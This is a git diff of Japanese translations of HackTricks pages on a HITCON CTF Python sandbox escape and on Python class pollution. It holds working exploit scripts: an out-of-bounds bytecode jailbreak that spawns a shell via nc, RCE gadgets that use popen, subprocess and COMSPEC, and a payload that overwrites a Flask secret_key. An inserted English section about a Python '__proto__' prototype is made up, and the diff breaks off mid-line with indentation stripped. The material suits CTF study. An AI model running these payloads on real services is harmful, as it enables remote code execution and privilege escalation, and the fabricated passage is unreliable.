[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-**This info was taken** [**from this writeup**](https://blog.splitline.tw/hitcon-ctf-2022/)**.** +**この情報は** [**この解説記事**](https://blog.splitline.tw/hitcon-ctf-2022/) **から取得されました。** ### TL;DR -We can use OOB read feature in LOAD\_NAME / LOAD\_CONST opcode to get some symbol in the memory. Which means using trick like `(a, b, c, ... hundreds of symbol ..., __getattribute__) if [] else [].__getattribute__(...)` to get a symbol (such as function name) you want. +LOAD\_NAME / LOAD\_CONSTオペコードのOOBリード機能を使用して、メモリ内のいくつかのシンボルを取得することができます。つまり、`(a, b, c, ... hundreds of symbol ..., __getattribute__) if [] else [].__getattribute__(...)`のようなトリックを使用して、必要なシンボル(関数名など)を取得できます。 -Then just craft your exploit. +その後、エクスプロイトを作成します。 -### Overview - -The source code is pretty short, only contains 4 lines! +### 概要 +ソースコードは非常に短く、わずか4行しかありません! ```python source = input('>>> ') if len(source) > 13337: exit(print(f"{'L':O<13337}NG")) code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=()) print(eval(code, {'__builtins__': {}}))1234 ``` +任意のPythonコードを入力することができ、それは[Pythonコードオブジェクト](https://docs.python.org/3/c-api/code.html)にコンパイルされます。ただし、そのコードオブジェクトの`co_consts`と`co_names`は、そのコードオブジェクトを評価する前に空のタプルに置き換えられます。 -You can input arbitrary Python code, and it'll be compiled to a [Python code object](https://docs.python.org/3/c-api/code.html). However `co_consts` and `co_names` of that code object will be replaced with an empty tuple before eval that code object. - -So in this way, all the expression contains consts (e.g. numbers, strings etc.) or names (e.g. variables, functions) might cause segmentation fault in the end. +したがって、定数(例:数値、文字列など)または名前(例:変数、関数)を含むすべての式は、最終的にセグメンテーションフォールトを引き起こす可能性があります。 ### Out of Bound Read -How does the segfault happen? - -Let's start with a simple example, `[a, b, c]` could compile into the following bytecode. +セグメンテーションフォールトはどのように発生するのでしょうか? +簡単な例から始めましょう。`[a, b, c]`は、次のバイトコードにコンパイルされる可能性があります。 ``` - 1 0 LOAD_NAME 0 (a) - 2 LOAD_NAME 1 (b) - 4 LOAD_NAME 2 (c) - 6 BUILD_LIST 3 - 8 RETURN_VALUE12345 +1 0 LOAD_NAME 0 (a) +2 LOAD_NAME 1 (b) +4 LOAD_NAME 2 (c) +6 BUILD_LIST 3 +8 RETURN_VALUE12345 ``` +しかし、`co_names`が空のタプルになった場合はどうなるでしょうか?`LOAD_NAME 2`オペコードは実行され、元々のメモリアドレスから値を読み取ろうとします。はい、これは範囲外の読み取りの「機能」です。 -But what if the `co_names` become empty tuple? The `LOAD_NAME 2` opcode is still executed, and try to read value from that memory address it originally should be. Yes, this is an out-of-bound read "feature". - -The core concept for the solution is simple. Some opcodes in CPython for example `LOAD_NAME` and `LOAD_CONST` are vulnerable (?) to OOB read. - -They retrieve an object from index `oparg` from the `consts` or `names` tuple (that's what `co_consts` and `co_names` named under the hood). We can refer to the following short snippest about `LOAD_CONST` to see what CPython does when it proccesses to `LOAD_CONST` opcode. +解決策の核心コンセプトはシンプルです。CPythonの一部のオペコード、例えば`LOAD_NAME`と`LOAD_CONST`は、OOB読み取りの脆弱性があります。 +これらのオペコードは、`consts`または`names`タプル(`co_consts`と`co_names`という名前で内部的に呼ばれる)からインデックス`oparg`のオブジェクトを取得します。CPythonが`LOAD_CONST`オペコードを処理する際に行うことを以下の短いスニペットで確認できます。 ```c case TARGET(LOAD_CONST): { - PREDICTED(LOAD_CONST); - PyObject *value = GETITEM(consts, oparg); - Py_INCREF(value); - PUSH(value); - FAST_DISPATCH(); +PREDICTED(LOAD_CONST); +PyObject *value = GETITEM(consts, oparg); +Py_INCREF(value); +PUSH(value); +FAST_DISPATCH(); }1234567 ``` +この方法では、OOB(Out-of-Bounds)機能を使用して、任意のメモリオフセットから「name」を取得することができます。どの名前を持っているか、そしてオフセットがどれであるかを確認するために、単に`LOAD_NAME 0`、`LOAD_NAME 1`... `LOAD_NAME 99`...と試してみてください。そして、おそらくoparg > 700のあたりで何かを見つけることができるでしょう。もちろん、gdbを使用してメモリレイアウトを確認することもできますが、より簡単ではないと思います。 -In this way we can use the OOB feature to get a "name" from arbitrary memory offset. To make sure what name it has and what's it's offset, just keep trying `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... And you could find something in about oparg > 700. You can also try to use gdb to take a look at the memory layout of course, but I don't think it would be more easier? - -### Generating the Exploit - -Once we retrieve those useful offsets for names / consts, how _do_ we get a name / const from that offset and use it? Here is a trick for you:\ -Let's assume we can get a `__getattribute__` name from offset 5 (`LOAD_NAME 5`) with `co_names=()`, then just do the following stuff: +### Exploitの生成 +名前/定数の有用なオフセットを取得したら、そのオフセットから名前/定数を取得して使用する方法はどうすればいいのでしょうか?以下のトリックを使ってみましょう:\ +オフセット5(`LOAD_NAME 5`)から`__getattribute__`の名前を取得できると仮定し、`co_names=()`で次の手順を実行します: ```python [a,b,c,d,e,__getattribute__] if [] else [ - [].__getattribute__ - # you can get the __getattribute__ method of list object now! +[].__getattribute__ +# you can get the __getattribute__ method of list object now! ]1234 ``` +> 注意:`__getattribute__`という名前である必要はありません。短い名前や奇妙な名前でも構いません。 -> Notice that it is not necessary to name it as `__getattribute__`, you can name it as something shorter or more weird - -You can understand the reason behind by just viewing it's bytecode: - +その理由は、バイトコードを表示するだけで理解できます: ```python - 0 BUILD_LIST 0 - 2 POP_JUMP_IF_FALSE 20 - >> 4 LOAD_NAME 0 (a) - >> 6 LOAD_NAME 1 (b) - >> 8 LOAD_NAME 2 (c) - >> 10 LOAD_NAME 3 (d) - >> 12 LOAD_NAME 4 (e) - >> 14 LOAD_NAME 5 (__getattribute__) - 16 BUILD_LIST 6 - 18 RETURN_VALUE - 20 BUILD_LIST 0 - >> 22 LOAD_ATTR 5 (__getattribute__) - 24 BUILD_LIST 1 - 26 RETURN_VALUE1234567891011121314 +0 BUILD_LIST 0 +2 POP_JUMP_IF_FALSE 20 +>> 4 LOAD_NAME 0 (a) +>> 6 LOAD_NAME 1 (b) +>> 8 LOAD_NAME 2 (c) +>> 10 LOAD_NAME 3 (d) +>> 12 LOAD_NAME 4 (e) +>> 14 LOAD_NAME 5 (__getattribute__) +16 BUILD_LIST 6 +18 RETURN_VALUE +20 BUILD_LIST 0 +>> 22 LOAD_ATTR 5 (__getattribute__) +24 BUILD_LIST 1 +26 RETURN_VALUE1234567891011121314 ``` +`LOAD_ATTR`は`co_names`からも名前を取得します。Pythonは同じ名前の場合、同じオフセットから名前を読み込みますので、2番目の`__getattribute__`はまだオフセット5から読み込まれます。この特徴を利用すると、名前が近くのメモリにある限り、任意の名前を使用することができます。 -Notice that `LOAD_ATTR` also retrieve the name from `co_names`. Python loads names from the same offset if the name is the same, so the second `__getattribute__` is still loaded from offset=5. Using this feature we can use arbitrary name once the name is in the memory nearby. - -For generating numbers should be trivial: +数値の生成は簡単です: * 0: not \[\[]] * 1: not \[] @@ -111,10 +101,9 @@ For generating numbers should be trivial: ### Exploit Script -I didn't use consts due to the length limit. - -First here is a script for us to find those offsets of names. +長さ制限のため、定数は使用していません。 +まず、名前のオフセットを見つけるためのスクリプトを以下に示します。 ```python from types import CodeType from opcode import opmap @@ -122,56 +111,54 @@ from sys import argv class MockBuiltins(dict): - def __getitem__(self, k): - if type(k) == str: - return k +def __getitem__(self, k): +if type(k) == str: +return k if __name__ == '__main__': - n = int(argv[1]) +n = int(argv[1]) - code = [ - *([opmap['EXTENDED_ARG'], n // 256] - if n // 256 != 0 else []), - opmap['LOAD_NAME'], n % 256, - opmap['RETURN_VALUE'], 0 - ] +code = [ +*([opmap['EXTENDED_ARG'], n // 256] +if n // 256 != 0 else []), +opmap['LOAD_NAME'], n % 256, +opmap['RETURN_VALUE'], 0 +] - c = CodeType( - 0, 0, 0, 0, 0, 0, - bytes(code), - (), (), (), '', '', 0, b'', () - ) +c = CodeType( +0, 0, 0, 0, 0, 0, +bytes(code), +(), (), (), '', '', 0, b'', () +) - ret = eval(c, {'__builtins__': MockBuiltins()}) - if ret: - print(f'{n}: {ret}') +ret = eval(c, {'__builtins__': MockBuiltins()}) +if ret: +print(f'{n}: {ret}') # for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132 ``` - -And the following is for generating the real Python exploit. - +そして、以下は実際のPythonエクスプロイトを生成するためのものです。 ```python import sys import unicodedata class Generator: - # get numner - def __call__(self, num): - if num == 0: - return '(not[[]])' - return '(' + ('(not[])+' * num)[:-1] + ')' +# get numner +def __call__(self, num): +if num == 0: +return '(not[[]])' +return '(' + ('(not[])+' * num)[:-1] + ')' - # get string - def __getattribute__(self, name): - try: - offset = None.__dir__().index(name) - return f'keys[{self(offset)}]' - except ValueError: - offset = None.__class__.__dir__(None.__class__).index(name) - return f'keys2[{self(offset)}]' +# get string +def __getattribute__(self, name): +try: +offset = None.__dir__().index(name) +return f'keys[{self(offset)}]' +except ValueError: +offset = None.__class__.__dir__(None.__class__).index(name) +return f'keys2[{self(offset)}]' _ = Generator() @@ -179,29 +166,29 @@ _ = Generator() names = [] chr_code = 0 for x in range(4700): - while True: - chr_code += 1 - char = unicodedata.normalize('NFKC', chr(chr_code)) - if char.isidentifier() and char not in names: - names.append(char) - break +while True: +chr_code += 1 +char = unicodedata.normalize('NFKC', chr(chr_code)) +if char.isidentifier() and char not in names: +names.append(char) +break offsets = { - "__delitem__": 2800, - "__getattribute__": 2850, - '__dir__': 4693, - '__repr__': 2128, +"__delitem__": 2800, +"__getattribute__": 2850, +'__dir__': 4693, +'__repr__': 2128, } variables = ('keys', 'keys2', 'None_', 'NoneType', - 'm_repr', 'globals', 'builtins',) +'m_repr', 'globals', 'builtins',) for name, offset in offsets.items(): - names[offset] = name +names[offset] = name for i, var in enumerate(variables): - assert var not in offsets - names[792 + i] = var +assert var not in offsets +names[792 + i] = var source = f'''[ @@ -212,13 +199,13 @@ NoneType := None_.__getattribute__({_.__class__}), keys2 := NoneType.__dir__(NoneType), get := NoneType.__getattribute__, m_repr := get( - get(get([],{_.__class__}),{_.__base__}), - {_.__subclasses__} +get(get([],{_.__class__}),{_.__base__}), +{_.__subclasses__} )()[-{_(2)}].__repr__, globals := get(m_repr, m_repr.__dir__()[{_(6)}]), builtins := globals[[*globals][{_(7)}]], builtins[[*builtins][{_(19)}]]( - builtins[[*builtins][{_(28)}]](), builtins +builtins[[*builtins][{_(28)}]](), builtins ) ]'''.strip().replace('\n', '').replace(' ', '') @@ -228,30 +215,27 @@ print(source) # (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273 ``` - -It basically does the following things, for those strings we get it from the `__dir__` method: - +基本的には、`__dir__` メソッドから取得した文字列に対して、以下のことを行います。 ```python getattr = (None).__getattribute__('__class__').__getattribute__ builtins = getattr( - getattr( - getattr( - [].__getattribute__('__class__'), - '__base__'), - '__subclasses__' - )()[-2], +getattr( +getattr( +[].__getattribute__('__class__'), +'__base__'), +'__subclasses__' +)()[-2], '__repr__').__getattribute__('__globals__')['builtins'] builtins['eval'](builtins['input']()) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか**?または、**最新バージョンのPEASSにアクセスしたいですか**、または**HackTricksをPDFでダウンロードしたいですか**?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを! +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう! +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md b/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md index 2bf6e3eb7..b7d3fa71e 100644 --- a/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md +++ b/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md @@ -1,21 +1,20 @@ -# Class Pollution (Python's Prototype Pollution) +# クラスの汚染(Pythonのプロトタイプ汚染)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic Example - -Check how is possible to pollute classes of objects with strings: +## 基本的な例 +文字列でオブジェクトのクラスを汚染する方法を確認してください: ```python class Company: pass class Developer(Company): pass @@ -39,9 +38,39 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company' print(d) #<__main__.Polluted_Developer object at 0x1041d2b80> print(c) #<__main__.Polluted_Company object at 0x1043a72b0> ``` +## 基本的な脆弱性の例 -## Basic Vulnerability Example +Consider the following Python code: +```python +class Person: + def __init__(self, name): + self.name = name + + def greet(self): + print(f"Hello, my name is {self.name}.") + +person = Person("Alice") +person.greet() +``` + +This code defines a `Person` class with an `__init__` method that initializes the `name` attribute, and a `greet` method that prints a greeting message with the person's name. + +Now, let's say an attacker can control the input to the `name` parameter. They could potentially exploit a vulnerability known as **prototype pollution** to modify the behavior of the `Person` class. + +Prototype pollution occurs when an attacker can inject properties or methods into an object's prototype, leading to unexpected behavior or even remote code execution. + +In this case, the attacker could pass a specially crafted `name` value that modifies the `Person` class prototype. For example: + +```python +person = Person("__proto__") +person.__proto__.greet = lambda: print("Hello, I'm a hacker!") +person.greet() +``` + +By setting the `greet` method of the `__proto__` object to a malicious function, the attacker has effectively changed the behavior of all `Person` instances. Now, when `person.greet()` is called, it will print the attacker's message instead of the original greeting. + +This is just a basic example to illustrate the concept of prototype pollution. In real-world scenarios, prototype pollution can be much more complex and dangerous, allowing attackers to bypass security measures and gain unauthorized access to sensitive data or execute arbitrary code. It is important for developers to be aware of this vulnerability and implement proper input validation and sanitization to prevent such attacks. ```python # Initial state class Employee: pass @@ -50,37 +79,35 @@ print(vars(emp)) #{} # Vulenrable function def merge(src, dst): - # Recursive merge function - for k, v in src.items(): - if hasattr(dst, '__getitem__'): - if dst.get(k) and type(v) == dict: - merge(v, dst.get(k)) - else: - dst[k] = v - elif hasattr(dst, k) and type(v) == dict: - merge(v, getattr(dst, k)) - else: - setattr(dst, k, v) +# Recursive merge function +for k, v in src.items(): +if hasattr(dst, '__getitem__'): +if dst.get(k) and type(v) == dict: +merge(v, dst.get(k)) +else: +dst[k] = v +elif hasattr(dst, k) and type(v) == dict: +merge(v, getattr(dst, k)) +else: +setattr(dst, k, v) USER_INPUT = { - "name":"Ahemd", - "age": 23, - "manager":{ - "name":"Sarah" - } +"name":"Ahemd", +"age": 23, +"manager":{ +"name":"Sarah" +} } merge(USER_INPUT, emp) print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}} ``` - -## Gadget Examples +## ガジェットの例
-Creating class property default value to RCE (subprocess) - +クラスプロパティのデフォルト値をRCE(サブプロセス)にする方法 ```python from os import popen class Employee: pass # Creating an empty class @@ -88,31 +115,31 @@ class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class class SystemAdmin(Employee): # Class inherits from Employee class - def execute_command(self): - command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' - return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"' +def execute_command(self): +command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' +return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"' def merge(src, dst): - # Recursive merge function - for k, v in src.items(): - if hasattr(dst, '__getitem__'): - if dst.get(k) and type(v) == dict: - merge(v, dst.get(k)) - else: - dst[k] = v - elif hasattr(dst, k) and type(v) == dict: - merge(v, getattr(dst, k)) - else: - setattr(dst, k, v) +# Recursive merge function +for k, v in src.items(): +if hasattr(dst, '__getitem__'): +if dst.get(k) and type(v) == dict: +merge(v, dst.get(k)) +else: +dst[k] = v +elif hasattr(dst, k) and type(v) == dict: +merge(v, getattr(dst, k)) +else: +setattr(dst, k, v) USER_INPUT = { - "__class__":{ - "__base__":{ - "__base__":{ - "custom_command": "whoami" - } - } - } +"__class__":{ +"__base__":{ +"__base__":{ +"custom_command": "whoami" +} +} +} } recruiter_emp = Recruiter() @@ -127,30 +154,28 @@ merge(USER_INPUT, recruiter_emp) print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m" ``` -
-Polluting other classes and global vars through globals - +globalsを介して他のクラスとグローバル変数を汚染する ```python def merge(src, dst): - # Recursive merge function - for k, v in src.items(): - if hasattr(dst, '__getitem__'): - if dst.get(k) and type(v) == dict: - merge(v, dst.get(k)) - else: - dst[k] = v - elif hasattr(dst, k) and type(v) == dict: - merge(v, getattr(dst, k)) - else: - setattr(dst, k, v) +# Recursive merge function +for k, v in src.items(): +if hasattr(dst, '__getitem__'): +if dst.get(k) and type(v) == dict: +merge(v, dst.get(k)) +else: +dst[k] = v +elif hasattr(dst, k) and type(v) == dict: +merge(v, getattr(dst, k)) +else: +setattr(dst, k, v) class User: - def __init__(self): - pass +def __init__(self): +pass class NotAccessibleClass: pass @@ -161,32 +186,30 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut print(not_accessible_variable) #> Polluted variable print(NotAccessibleClass) #> ``` -
-Arbitrary subprocess execution - +任意のサブプロセスの実行 ```python import subprocess, json class Employee: - def __init__(self): - pass +def __init__(self): +pass def merge(src, dst): - # Recursive merge function - for k, v in src.items(): - if hasattr(dst, '__getitem__'): - if dst.get(k) and type(v) == dict: - merge(v, dst.get(k)) - else: - dst[k] = v - elif hasattr(dst, k) and type(v) == dict: - merge(v, getattr(dst, k)) - else: - setattr(dst, k, v) +# Recursive merge function +for k, v in src.items(): +if hasattr(dst, '__getitem__'): +if dst.get(k) and type(v) == dict: +merge(v, dst.get(k)) +else: +dst[k] = v +elif hasattr(dst, k) and type(v) == dict: +merge(v, getattr(dst, k)) +else: +setattr(dst, k, v) # Overwrite env var "COMSPEC" to execute a calc USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value @@ -195,39 +218,37 @@ merge(USER_INPUT, Employee()) subprocess.Popen('whoami', shell=True) # Calc.exe will pop up ``` -
-Overwritting __kwdefaults__ - -**`__kwdefaults__`** is a special attribute of all functions, based on Python [documentation](https://docs.python.org/3/library/inspect.html), it is a “mapping of any default values for **keyword-only** parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after \* or \*args. +__kwdefaults__の上書き +**`__kwdefaults__`**は、すべての関数の特別な属性です。Pythonの[ドキュメント](https://docs.python.org/3/library/inspect.html)によると、「キーワード専用パラメータのデフォルト値のマッピング」です。この属性を汚染することで、関数のキーワード専用パラメータのデフォルト値を制御することができます。これらは、関数の\*または\*argsの後に来るパラメータです。 ```python from os import system import json def merge(src, dst): - # Recursive merge function - for k, v in src.items(): - if hasattr(dst, '__getitem__'): - if dst.get(k) and type(v) == dict: - merge(v, dst.get(k)) - else: - dst[k] = v - elif hasattr(dst, k) and type(v) == dict: - merge(v, getattr(dst, k)) - else: - setattr(dst, k, v) +# Recursive merge function +for k, v in src.items(): +if hasattr(dst, '__getitem__'): +if dst.get(k) and type(v) == dict: +merge(v, dst.get(k)) +else: +dst[k] = v +elif hasattr(dst, k) and type(v) == dict: +merge(v, getattr(dst, k)) +else: +setattr(dst, k, v) class Employee: - def __init__(self): - pass +def __init__(self): +pass def execute(*, command='whoami'): - print(f'Executing {command}') - system(command) +print(f'Executing {command}') +system(command) print(execute.__kwdefaults__) #> {'command': 'whoami'} execute() #> Executing whoami @@ -240,24 +261,20 @@ print(execute.__kwdefaults__) #> {'command': 'echo Polluted'} execute() #> Executing echo Polluted #> Polluted ``` -
-Overwriting Flask secret across files - -So, if you can do a class pollution over an object defined in the main python file of the web but **whose class is defined in a different file** than the main one. Because in order to access \_\_globals\_\_ in the previous payloads you need to access the class of the object or methods of the class, you will be able to **access the globals in that file, but not in the main one**. \ -Therefore, you **won't be able to access the Flask app global object** that defined the **secret key** in the main page: +Flaskのシークレットキーをファイル間で上書きする +したがって、WebのメインのPythonファイルで定義されているが、そのクラスがメインのファイルとは異なるファイルで定義されているオブジェクトに対してクラスの汚染を行うことができます。前のペイロードで\_\_globals\_\_にアクセスするためには、オブジェクトのクラスまたはクラスのメソッドにアクセスする必要があります。そのため、そのファイルのグローバル変数にはアクセスできますが、メインのファイルではアクセスできません。したがって、メインページでシークレットキーを定義したFlaskアプリのグローバルオブジェクトにはアクセスできません。 ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` +このシナリオでは、メインファイルにアクセスするためにファイルをトラバースするガジェットが必要です。これにより、Flaskのシークレットキーを変更し、このキーを知ることで特権を昇格させることができます([詳細はこちら](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign))。 -In this scenario you need a gadget to traverse files to get to the main one to **access the global object `app.secret_key`** to change the Flask secret key and be able to [**escalate privileges** knowing this key](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). - -A payload like this one [from this writeup](https://ctftime.org/writeup/36082): +このようなペイロードは、[この解説記事](https://ctftime.org/writeup/36082)から取得できます: {% code overflow="wrap" %} ```python @@ -265,17 +282,17 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se ``` {% endcode %} -Use this payload to **change `app.secret_key`** (the name in your app might be different) to be able to sign new and more privileges flask cookies. +このペイロードを使用して、`app.secret_key`(アプリ内の名前は異なる場合があります)を変更し、新しい特権を持つflaskクッキーに署名できるようにします。
-Check also the following page for more read only gadgets: +さらに、次のページも参照してください。 {% content-ref url="python-internal-read-gadgets.md" %} [python-internal-read-gadgets.md](python-internal-read-gadgets.md) {% endcontent-ref %} -## References +## 参考文献 * [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/) @@ -283,10 +300,10 @@ Check also the following page for more read only gadgets: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/generic-methodologies-and-resources/python/pyscript.md b/generic-methodologies-and-resources/python/pyscript.md index eda61d8b1..62f6a90d3 100644 --- a/generic-methodologies-and-resources/python/pyscript.md +++ b/generic-methodologies-and-resources/python/pyscript.md @@ -4,79 +4,72 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- 